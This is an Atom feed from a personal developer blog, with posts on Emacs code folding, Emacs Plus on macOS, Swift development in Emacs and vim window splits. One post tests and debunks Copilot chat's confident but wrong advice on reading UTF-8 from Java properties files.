<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Skybert's World</title><link href="https://skybert.net/" rel="alternate"/><link href="https://skybert.net/feeds/atom-feed.xml" rel="self"/><id>https://skybert.net/</id><updated>2026-01-28T00:00:00+01:00</updated><entry><title>Code Folding in Emacs</title><link href="https://skybert.net/emacs/code-folding-in-emacs" rel="alternate"/><published>2026-01-28T00:00:00+01:00</published><updated>2026-01-28T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2026-01-28:/emacs/code-folding-in-emacs</id><summary type="html">&lt;p&gt;This week I learned Emacs has code folding built in (of course it
has!). It's called &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/emacs/Hideshow.html"&gt;Hide
Show&lt;/a&gt;
and you enable it with &lt;code&gt;hs-minor-mode&lt;/code&gt; and toggle function, class or
comment folding/unfolding with &lt;code&gt;hs-cycle&lt;/code&gt;. There's many other commands
to try: &lt;code&gt;hs-hide-all&lt;/code&gt;, &lt;code&gt;hd-show-all&lt;/code&gt; and so on.&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/emacs/2026/emacs-code-folding.png"
  alt="emacs code folding"
/&gt;&lt;/p&gt;
&lt;p&gt;The default bindings look pretty …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This week I learned Emacs has code folding built in (of course it
has!). It's called &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/emacs/Hideshow.html"&gt;Hide
Show&lt;/a&gt;
and you enable it with &lt;code&gt;hs-minor-mode&lt;/code&gt; and toggle function, class or
comment folding/unfolding with &lt;code&gt;hs-cycle&lt;/code&gt;. There's many other commands
to try: &lt;code&gt;hs-hide-all&lt;/code&gt;, &lt;code&gt;hd-show-all&lt;/code&gt; and so on.&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/emacs/2026/emacs-code-folding.png"
  alt="emacs code folding"
/&gt;&lt;/p&gt;
&lt;p&gt;The default bindings look pretty wild, like &lt;kbd&gt;C-c&lt;/kbd&gt;
&lt;kbd&gt;@&lt;/kbd&gt; &lt;kbd&gt;C-s&lt;/kbd&gt;, but you know what? For the most part,
I've stopped learning new shortcuts the last ten years or so and just
use &lt;kbd&gt;M-x&lt;/kbd&gt; with fuzzy search. Works well enough for me, even
for things I use regularly, like &lt;code&gt;eglot-rename&lt;/code&gt; and
&lt;code&gt;delete-trailing-white-space&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Using &lt;a href="https://github.com/nonsequitur/smex"&gt;smex&lt;/a&gt; ensures I always
have the last recently used at the top.&lt;/p&gt;
&lt;p&gt;Happy folding!&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/></entry><entry><title>Emacs on macOS</title><link href="https://skybert.net/emacs/emacs-on-macos" rel="alternate"/><published>2026-01-28T00:00:00+01:00</published><updated>2026-01-28T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2026-01-28:/emacs/emacs-on-macos</id><summary type="html">&lt;p&gt;The best Emacs distribution I've found for macOS, is
&lt;a href="https://github.com/d12frosted/homebrew-emacs-plus"&gt;emacs-plus&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Installing Emacs Plus&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew tap d12frosted/emacs-plus
$ brew install emacs-plus@31 --with-imagemagick
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Upgrading Emacs Plus&lt;/h2&gt;
&lt;p&gt;There's no real upgrade of emacs with brew, so uninstall it first to
ensure the upgrade goes at intended:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;brew&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uninstall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;emacs&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;@31&lt;/span&gt;
&lt;span class="n"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;brew …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;The best Emacs distribution I've found for macOS, is
&lt;a href="https://github.com/d12frosted/homebrew-emacs-plus"&gt;emacs-plus&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Installing Emacs Plus&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ brew tap d12frosted/emacs-plus
$ brew install emacs-plus@31 --with-imagemagick
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Upgrading Emacs Plus&lt;/h2&gt;
&lt;p&gt;There's no real upgrade of emacs with brew, so uninstall it first to
ensure the upgrade goes at intended:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;brew&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uninstall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;emacs&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;@31&lt;/span&gt;
&lt;span class="n"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;brew&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;emacs&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;@31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;imagemagick&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="emacs"/><category term="emacs"/><category term="macos"/></entry><entry><title>Swift development in Emacs</title><link href="https://skybert.net/emacs/swift-development-in-emacs" rel="alternate"/><published>2026-01-28T00:00:00+01:00</published><updated>2026-01-28T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2026-01-28:/emacs/swift-development-in-emacs</id><summary type="html">&lt;h2&gt;Install the Swift toolchain&lt;/h2&gt;
&lt;p&gt;You need to have the Swift toolchain installed. This is typcially
bundled inside of xcode. To find the location of the Swift LSP server,
run the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ xcrun --find sourcekit-lsp
/Library/Developer/CommandLineTools/usr/bin/sourcekit-lsp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Install Swift mode&lt;/h2&gt;
&lt;p&gt;Install &lt;a href="https://github.com/swift-emacs/swift-mode"&gt;swift-mode&lt;/a&gt; to
make Emacs Swift …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Install the Swift toolchain&lt;/h2&gt;
&lt;p&gt;You need to have the Swift toolchain installed. This is typcially
bundled inside of xcode. To find the location of the Swift LSP server,
run the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ xcrun --find sourcekit-lsp
/Library/Developer/CommandLineTools/usr/bin/sourcekit-lsp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Install Swift mode&lt;/h2&gt;
&lt;p&gt;Install &lt;a href="https://github.com/swift-emacs/swift-mode"&gt;swift-mode&lt;/a&gt; to
make Emacs Swift aware.&lt;/p&gt;
&lt;h2&gt;Tell Emacs to use it&lt;/h2&gt;
&lt;p&gt;To try this out manually, open &lt;code&gt;.swift&lt;/code&gt; file and invoke:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;M-x eglot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When asked which LSP server to run, type in the one you found above:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/Library/Developer/CommandLineTools/usr/bin/sourcekit-lsp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Emacs, or &lt;code&gt;sourcekit-lsp&lt;/code&gt; needs a minute (on my machine, this was
&lt;em&gt;literally&lt;/em&gt; a minute) to wire up things, eventually, you'll see that
Emacs springs to life again, with inline code hints, auto completion
and other coding goodness.&lt;/p&gt;
&lt;p&gt;To make this permant, add the following to your &lt;code&gt;~/.emacs&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;use-package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;swift-mode&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:ensure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;:init&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-to-list&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;eglot-server-programs&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;swift-mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/Library/Developer/CommandLineTools/usr/bin/sourcekit-lsp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Happy coding!&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/><category term="swift"/><category term="macos"/></entry><entry><title>Copilot cannot read UTF-8 from a Java Properties File</title><link href="https://skybert.net/llm/copilot-cannot-read-utf-8-from-a-java-properties-file" rel="alternate"/><published>2026-01-15T00:00:00+01:00</published><updated>2026-01-15T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2026-01-15:/llm/copilot-cannot-read-utf-8-from-a-java-properties-file</id><summary type="html">&lt;p&gt;I'm speechless: Copilot get this well understood, old problem with a
well established, extensively documented platform all wrong. My
question was:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"Can you write UTF-8 in your Java .properties file?"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And it said:
&lt;img
  class="centered"
  src="/graphics/2026/copilot-utf8-properties.png"
  alt="Copilot wrongly answering how to read UTF-8 from a Java .properties file"
/&gt;&lt;/p&gt;
&lt;p&gt;Its answer has three problems:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The test data can be written with ISO-8859-1 encoding, so it
   doesn't …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;I'm speechless: Copilot get this well understood, old problem with a
well established, extensively documented platform all wrong. My
question was:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"Can you write UTF-8 in your Java .properties file?"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And it said:
&lt;img
  class="centered"
  src="/graphics/2026/copilot-utf8-properties.png"
  alt="Copilot wrongly answering how to read UTF-8 from a Java .properties file"
/&gt;&lt;/p&gt;
&lt;p&gt;Its answer has three problems:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The test data can be written with ISO-8859-1 encoding, so it
   doesn't prove that UTF-8 is working.&lt;/li&gt;
&lt;li&gt;What's worse, it doesn't work.&lt;/li&gt;
&lt;li&gt;Lastly, it gives the impression that this used to be a problem, but
   is no longer, listing different Java versions and so on, adding
   credibility to its answer. But alas, it doesn't work. You have to
   recode the string, read the bytes as ISO 8859-1, and then construct
   a new string as UTF-8.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;SMH.&lt;/p&gt;
&lt;p&gt;Ok, let's try out what the robot suggested using a recent Java version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;
&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;25.0.1&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2025&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;
&lt;span class="n"&gt;OpenJDK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Runtime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Homebrew&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;25.0.1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;OpenJDK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Homebrew&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;25.0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mixed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sharing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;messages.properties&lt;/code&gt; file contains one entry with a 4 byte UTF-8
character:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;greeting=👻
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The properties file was encoded properly as UTF-8:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ file messages.properties
messages.properties: Unicode text, UTF-8 text
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The Copilot Java source code (I added the comment &lt;code&gt;// Copilot
solution&lt;/code&gt;) copy and pasted into a file called &lt;code&gt;utf.java&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;utf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileInputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;messages.properties&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Loads as UTF-8 from Java 9+&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Copilot solution&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Copilot reading UTF-8: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;greeting&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, testing it out, shows that the AI code doesn't work at all:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;❯ javac utf.java &amp;amp;&amp;amp;  java utf
Copilot reading UTF-8: ð»
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Applying a battled tested fix, acquired after some late night
debugging back in the day, added as a second print out statement:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Human solution, from experience, that works&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Human reading UTF-8: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;greeting&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ISO-8859-1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;UTF-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, the ghost displays correctly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;❯&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;javac&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;utf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;utf&lt;/span&gt;
&lt;span class="n"&gt;Copilot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reading&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UTF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ð&lt;/span&gt;&lt;span class="err"&gt;»&lt;/span&gt;
&lt;span class="n"&gt;Human&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reading&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UTF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;👻&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Of the three shortcomings of Copilot's answer, I think number three is
the worst. It's so confident, backing up all its claims with credible
sources and proper rationale. If a colleague their case in such a way,
you would of course believe her and not second guess it. Here with
this AI robot, though, you should verify it. My hunch is, though, most
of the time, people don't.&lt;/p&gt;
&lt;p&gt;Good grief.&lt;/p&gt;
&lt;p&gt;It should be noted, that the above was using the Copilot
&lt;em&gt;chat&lt;/em&gt;. Giving the same prompts to Copilot CLI, which has access to
your machine and file system, so that it can try out things before
suggesting them, arrived at the working solution on the first try. My
findings still shocks me. Most people use the chat.&lt;/p&gt;
&lt;p&gt;Happy encoding!&lt;/p&gt;</content><category term="llm"/><category term="aifail"/><category term="utf-8"/><category term="java"/><category term="copilot"/></entry><entry><title>Window splits in VIM</title><link href="https://skybert.net/unix/window-splits-in-vim" rel="alternate"/><published>2026-01-14T00:00:00+01:00</published><updated>2026-01-14T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2026-01-14:/unix/window-splits-in-vim</id><summary type="html">&lt;p&gt;Recently, I learned how to use window splits and open more files without
exiting vim first, lol, what a n00b!&lt;/p&gt;
&lt;h2&gt;Splitting windows&lt;/h2&gt;
&lt;p&gt;Create a horizontal split:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;split&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Or a vertical split:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;vsplit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can optionally provide a file name to be visible in the split. If
you have the file …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently, I learned how to use window splits and open more files without
exiting vim first, lol, what a n00b!&lt;/p&gt;
&lt;h2&gt;Splitting windows&lt;/h2&gt;
&lt;p&gt;Create a horizontal split:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;split&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Or a vertical split:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;vsplit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can optionally provide a file name to be visible in the split. If
you have the file open in vim (in one of several buffers), you can tab
complete the name:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;vpslit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vimrc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Moving between splits&lt;/h2&gt;
